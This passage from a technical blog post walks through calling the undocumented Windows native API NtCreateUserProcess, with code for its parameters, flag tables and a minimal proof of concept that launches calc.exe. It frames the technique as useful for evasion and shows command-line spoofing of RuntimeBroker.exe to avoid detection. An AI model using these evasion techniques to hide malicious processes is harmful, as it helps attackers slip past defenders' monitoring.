<p>However, none of them worked during the times I tested them. I spent hours modifying the codes that I found to try and make it work, but I keep on failing. So aside from the evasive purposes of this native function, <strong>the main reason I dedicated my free time to this subject is for the fun and challenge</strong>.</p>

<h3 id="ntcreateuserprocess"><code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code></h3>

<p>The native API <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code> has the following syntax.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span>
<span class="n">NTAPI</span>
<span class="nf">NtCreateUserProcess</span><span class="p">(</span>
    <span class="n">_Out_</span> <span class="n">PHANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span>
    <span class="n">_Out_</span> <span class="n">PHANDLE</span> <span class="n">ThreadHandle</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ACCESS_MASK</span> <span class="n">ProcessDesiredAccess</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ACCESS_MASK</span> <span class="n">ThreadDesiredAccess</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ProcessObjectAttributes</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ThreadObjectAttributes</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG</span> <span class="n">ProcessFlags</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG</span> <span class="n">ThreadFlags</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">PRTL_USER_PROCESS_PARAMETERS</span> <span class="n">ProcessParameters</span><span class="p">,</span>
    <span class="n">_Inout_</span> <span class="n">PPS_CREATE_INFO</span> <span class="n">CreateInfo</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Let’s start building this function and its parameter starting with both <code class="language-plaintext highlighter-rouge">ProcessHandle</code> and <code class="language-plaintext highlighter-rouge">ThreadHandle</code> which will store the handles to the created process and thread. These two arguments are too simple and can be initialized with the following:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">hThread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</code></pre></div></div>

<p>For <code class="language-plaintext highlighter-rouge">ProcessDesiredAccess</code> and <code class="language-plaintext highlighter-rouge">ThreadDesiredAccess</code> parameters, we need to supply them with <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask"><code class="language-plaintext highlighter-rouge">ACCESS_MASK</code></a> values that would identify the rights and controls we have over the process and thread we’re creating. Different values could be assigned to <code class="language-plaintext highlighter-rouge">ACCESS_MASK</code> and they are listed in <code class="language-plaintext highlighter-rouge">winnt.h</code>. Since we’re only dealing with process and thread objects, we can use the process- and thread-specific access rights <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> and <code class="language-plaintext highlighter-rouge">THREAD_ALL_ACCESS</code>.</p>

<p>For other process- and thread-specific access rights, refer to these documentations:</p>
<ul>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">Process Security and Access Rights</a></li>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/procthread/thread-security-and-access-rights">Thread Security and Access Rights</a></li>
</ul>

<p>The next parameters are <code class="language-plaintext highlighter-rouge">ProcessObjectAttributes</code> and <code class="language-plaintext highlighter-rouge">ThreadObjectAttributes</code>, which are pointers to an <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes"><code class="language-plaintext highlighter-rouge">OBJECT_ATTRIBUTES</code></a>. This structure contains the attributes that could be applied to the objects or object handles that will be created. These parameters are optional hence we can simply assign <code class="language-plaintext highlighter-rouge">NULL</code> values to them.</p>

<p>The flags set within <code class="language-plaintext highlighter-rouge">ProcessFlags</code> and <code class="language-plaintext highlighter-rouge">ThreadFlags</code> determine how we want our process and thread to be created (e.g., if we want a suspended process/thread upon creation). They are similar to the <code class="language-plaintext highlighter-rouge">dwCreationFlags</code> argument of <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw"><code class="language-plaintext highlighter-rouge">CreateProcess()</code></a> but the <a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags">flags</a> documented in MSDN do not apply to <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>. At the same time, <strong>SysWhisper2</strong> (my go-to tool for generating the structs and typedefs of a function) does not support the generation of these flags. So where do we get the flags for these parameters? Good thing <strong>Process Hacker</strong> exists and open-source.</p>

<p>So based on <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L1219">ntpsapi.h</a> header of <strong>Process Hacker</strong>, the valid values for <code class="language-plaintext highlighter-rouge">ProcessFlags</code> are:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx &amp; NtCreateUserProcess, requires SeLoadDriver
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx &amp; NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx &amp; NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx &amp; NtCreateUserProces
</span></code></pre></div></div>

<p>While the following are the valid flags for <code class="language-plaintext highlighter-rouge">ThreadFlags</code> (based on <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L2109">ntpsapi.h</a>):</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess &amp; NtCreateThreadEx
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 // ?
</span></code></pre></div></div>

<p>What I like about the flags provided by <strong>Process Hacker</strong> is that they put some notes on what flags are supported by which native APIs. So be wary since not all flags are supported by <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code>. For example, only <code class="language-plaintext highlighter-rouge">THREAD_CREATE_FLAGS_CREATE_SUSPENDED</code> could be applied to the <code class="language-plaintext highlighter-rouge">ThreadFlags</code> parameter.</p>

<p>So which among these flags should we use? Well, to create a “minimal” working PoC for <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>, we could simply set these parameters to <code class="language-plaintext highlighter-rouge">NULL</code>.</p>

<p>The next parameter (<code class="language-plaintext highlighter-rouge">ProcessParameters</code>) is optional but I found it to be mandatory. This parameter points to a <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure which describes the startup parameters of the process to be created. We’ll discuss more about this parameter in the next section.</p>

<p>Next in line is <code class="language-plaintext highlighter-rouge">CreateInfo</code>, which is a pointer to a <code class="language-plaintext highlighter-rouge">PS_CREATE_INFO</code> structure. There’s not much information on the Internet (based on my searches) about <code class="language-plaintext highlighter-rouge">PS_CREATE_INFO</code> and this is the only <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ps/psexec/create_info.htm">post</a> that I found that discusses this structure.</p>

<p>Based on my experiment, the <code class="language-plaintext highlighter-rouge">PS_CREATE_STATE</code> enumeration value that worked for me is <code class="language-plaintext highlighter-rouge">PsCreateInitialState</code>. So for a “minimal” working PoC, I set the value of <code class="language-plaintext highlighter-rouge">PS_CREATE_INFO</code> members to:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateInfo</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">CreateInfo</span><span class="p">);</span>
<span class="n">CreateInfo</span><span class="p">.</span><span class="n">State</span> <span class="o">=</span> <span class="n">PsCreateInitialState</span><span class="p">;</span>
</code></pre></div></div>

<p>Just like <code class="language-plaintext highlighter-rouge">ProcessFlags</code>, I found that the last argument (<code class="language-plaintext highlighter-rouge">AttributeList</code>) is not optional (in my case). This parameter is used to set up the attributes for process and thread creation. An example of this is when implementing PPID Spoofing where the <code class="language-plaintext highlighter-rouge">PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code> attribute is set (if the WinAPI <code class="language-plaintext highlighter-rouge">CreateProcess()</code> is used). While the attributes for <code class="language-plaintext highlighter-rouge">CreateProcess()</code> is documented <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute">here</a>, the valid attributes for <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code> is not. So where do we get these “native attributes”? Again, <strong>Process Hacker</strong>’s <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L1789">ntpsapi.h</a> to the rescue.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PS_ATTRIBUTE_PARENT_PROCESS PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_DEBUG_PORT PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_TOKEN PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_CLIENT_ID PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_TEB_ADDRESS PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IMAGE_INFO PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)
#define PS_ATTRIBUTE_MEMORY_RESERVE PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PRIORITY_CLASS PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ERROR_MODE PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_STD_HANDLE_INFO PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_HANDLE_LIST PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_GROUP_AFFINITY PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_PREFERRED_NODE PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IDEAL_PROCESSOR PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_UMS_THREAD PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_MITIGATION_OPTIONS PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PROTECTION_LEVEL PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_SECURE_PROCESS PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_JOB_LIST PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_WIN32K_FILTER PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_BNO_ISOLATION PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_DESKTOP_APP_POLICY PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHPE PsAttributeValue(PsAttributeChpe, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_MITIGATION_AUDIT_OPTIONS PsAttributeValue(PsAttributeMitigationAuditOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_MACHINE_TYPE PsAttributeValue(PsAttributeMachineType, FALSE, TRUE, TRUE)
</span></code></pre></div></div>

<p><strong>Table 3-7: Process Attributes</strong> of <a href="https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188">“Windows Internals, Part 1 (7th Edition)”</a> presents a nice table on which “native attribute” corresponds to its Win32 equivalent.</p>

<p>Going back to <code class="language-plaintext highlighter-rouge">AttributeList</code>, I initialize this parameter with the following code:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span> <span class="o">=</span> <span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="o">*</span><span class="p">)</span><span class="n">RtlAllocateHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">));</span>
<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">TotalLength</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="p">)</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">);</span>

<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attribute</span> <span class="o">=</span> <span class="n">PS_ATTRIBUTE_IMAGE_NAME</span><span class="p">;</span>
<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Size</span> <span class="o">=</span> <span class="n">NtImagePath</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span>
<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Value</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">NtImagePath</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
</code></pre></div></div>

<p>Here, the attribute <code class="language-plaintext highlighter-rouge">PS_ATTRIBUTE_IMAGE_NAME</code> specifies the name of the process to be created, and the <code class="language-plaintext highlighter-rouge">NtImagePath</code> variable holds the path of the image/binary from which the process will be created.</p>

<p>So here’s what the code for <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code> would look like:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NtCreateUserProcess</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CreateInfo</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="rtlcreateprocessparametersex"><code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code></h3>

<p>If you have observed, <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code> does not accept any argument that contains the path to the process to be created. This is where <code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code> comes into action. As the name suggests, its purpose is to populate the structure that will hold the parameters of the process to be created. This undocumented (but not native) function has the following syntax.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span>
<span class="n">NTAPI</span>
<span class="nf">RtlCreateProcessParametersEx</span><span class="p">(</span>
    <span class="n">_Out_</span> <span class="n">PRTL_USER_PROCESS_PARAMETERS</span><span class="o">*</span> <span class="n">pProcessParameters</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">ImagePathName</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">DllPath</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">CurrentDirectory</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">CommandLine</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PVOID</span> <span class="n">Environment</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">WindowTitle</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">DesktopInfo</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">ShellInfo</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RuntimeData</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG</span> <span class="n">Flags</span>
<span class="p">);</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">pProcessParameters</code> points to the <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure, which will hold the process parameter information as a result of executing <code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code>. Any information stored in the structure is then used as an input to <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code>. MSDN has poor and very limited <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters">documentation</a> of the <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure so I recommend the <a href="https://github.com/processhacker/processhacker/blob/3e9c0243cc277769cce903e15690de51fed95f7b/phnt/include/ntrtl.h#L2611">structure</a> provided by <strong>Process Hacker</strong>.</p>

<p>The second parameter <code class="language-plaintext highlighter-rouge">ImagePathName</code> holds the full path (in NT path format) of the image/binary from which the process will be created. For example:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">UNICODE_STRING</span> <span class="n">NtImagePath</span><span class="p">;</span>
<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="p">(</span><span class="n">PWSTR</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">??</span><span class="se">\\</span><span class="s">C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">calc.exe"</span><span class="p">);</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">RtlInitUnicodeString()</code> function, which has the following syntax, is necessary to initialize the <code class="language-plaintext highlighter-rouge">UNICODE_STRING</code> structure.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span> <span class="nf">NTAPIRtlInitUnicodeString</span><span class="p">(</span>
    <span class="n">_Out_</span> <span class="n">PUNICODE_STRING</span> <span class="n">DestinationString</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PWSTR</span> <span class="n">SourceString</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The initialization of the <code class="language-plaintext highlighter-rouge">UNICODE_STRING</code> structure is done by:</p>
<ul>
  <li>Setting the <code class="language-plaintext highlighter-rouge">Length</code> and <code class="language-plaintext highlighter-rouge">MaximumLength</code> members to the length of the <code class="language-plaintext highlighter-rouge">SourceString</code></li>
  <li>Setting the <code class="language-plaintext highlighter-rouge">Buffer</code> member to the address of the string passed in <code class="language-plaintext highlighter-rouge">SourceString</code>
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_UNICODE_STRING</span>
<span class="p">{</span>
  <span class="n">USHORT</span> <span class="n">Length</span><span class="p">;</span>
  <span class="n">USHORT</span> <span class="n">MaximumLength</span><span class="p">;</span>
  <span class="n">PWSTR</span> <span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">UNICODE_STRING</span><span class="p">,</span> <span class="o">*</span> <span class="n">PUNICODE_STRING</span><span class="p">;</span>
</code></pre></div>    </div>
    <p>The other arguments (<code class="language-plaintext highlighter-rouge">DllPath</code>, <code class="language-plaintext highlighter-rouge">CurrentDirectory</code>, <code class="language-plaintext highlighter-rouge">CommandLine</code>, <code class="language-plaintext highlighter-rouge">Environment</code>, <code class="language-plaintext highlighter-rouge">WindowTitle</code>, <code class="language-plaintext highlighter-rouge">DesktopInfo</code>, <code class="language-plaintext highlighter-rouge">ShellInfo</code>, <code class="language-plaintext highlighter-rouge">RuntimeData</code>) are optional. For our goal, we can simply set them all to <code class="language-plaintext highlighter-rouge">NULL</code>.</p>
  </li>
</ul>

<p>A scenario in which these parameters can be useful is when “blending in” to help avoid detections. As an example, if we set <code class="language-plaintext highlighter-rouge">CommandLine</code> to <code class="language-plaintext highlighter-rouge">NULL</code>, the value that will be set upon process creation is the same with what’s passed in <code class="language-plaintext highlighter-rouge">ImagePathName</code>.</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/null-commandline.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/null-commandline.png" alt="NULL CommandLine" /></a></p>

<p>If we want to mimic/spoof the actual command line when <code class="language-plaintext highlighter-rouge">C:\Windows\System32\RuntimeBroker.exe</code> gets created normally, we can do it using the following code:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">UNICODE_STRING</span> <span class="n">CommandLine</span><span class="p">;</span>
<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">CommandLine</span><span class="p">,</span> <span class="p">(</span><span class="n">PWSTR</span><span class="p">)</span><span class="s">L"\C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">RuntimeBroker.exe -Embedding"</span><span class="p">);</span>
</code></pre></div></div>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/spoofed-commandline.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/spoofed-commandline.png" alt="Spoofed CommandLine" /></a></p>

<p>The last parameter (<code class="language-plaintext highlighter-rouge">Flags</code>) is used to normalize the parameters by setting the value <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS_NORMALIZED</code>. When a process is created, some inputs are not even fully initialized yet. If this happens, there’s a chance wherein the memories being accessed are just relative offsets of the structure describing the process and not the actual memory addresses.</p>

<blockquote>
  <p><em>If you’re going to use <code class="language-plaintext highlighter-rouge">RtlCreateProcessParameters()</code>, which is the non-extended version, a call to <code class="language-plaintext highlighter-rouge">RtlNormalizeProcessParameters()</code> should be made to normalize the parameters.</em></p>
</blockquote>

<p>So here’s what the code for <code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code> I ended up with:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RtlCreateProcessParametersEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">RTL_USER_PROCESS_PARAMETERS_NORMALIZED</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="cleanup-code">Cleanup Code</h3>

<p>As a cleanup, we can use <code class="language-plaintext highlighter-rouge">RtlFreeHeap()</code> to free the memory that was allocated by <code class="language-plaintext highlighter-rouge">RtlAllocateHeap()</code>, and <code class="language-plaintext highlighter-rouge">RtlDestroyProcessParameters()</code> to deallocate the process parameters stored in the <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RtlFreeHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>
<span class="n">RtlDestroyProcessParameters</span><span class="p">(</span><span class="n">ProcessParameters</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="the-header-file">The Header File</h3>

<p>Aside from developing the code, another challenge working with native APIs is finding the right structures and definitions to use. I tried to manually create the header file by scouring the Internet and compiling what I have found until every structure and definition that I needed are satisfied. However, it cost me some headaches so I just gave up.</p>

<p>As you’re already aware, I keep on referencing the <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h">ntpsapi.h</a> header file from <strong>Process Hacker</strong>. However, it does not contain every structure and definition that I needed. Even the whole <a href="https://github.com/processhacker/phnt">phnt</a> native API header files caused an error during compilation due to missing structures.</p>

<p>After a ton of searches, I ended up with the <a href="https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h">ntdll.h</a> header file provided by <a href="https://github.com/x64dbg/TitanEngine">x64dbg/TitanEngine</a>. After including this header in my code, I’m relieved that it did not cause any compilation error.</p>

<p>While it contains everything I need for my “minimal” PoC, there are still some missing definitions that I found. For example, it only has the following <a href="https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h#L1540">flags for process creation</a> compared to what <strong>Process Hacker</strong> has (listed above):</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PROCESS_CREATE_FLAGS_BREAKAWAY              0x00000001
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT       0x00000002
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES        0x00000004
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008
#define PROCESS_CREATE_FLAGS_LARGE_PAGES            0x00000010
</span>
<span class="c1">// Only usable with NtCreateUserProcess (Vista+):</span>
<span class="cp">#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL  0x00000020
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS      0x00000040 // Only allowed if the calling process is itself protected
#define PROCESS_CREATE_FLAGS_CREATE_SESSION         0x00000080
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT    0x00000100
</span></code></pre></div></div>

<h3 id="the-minimal-code">The Minimal Code</h3>

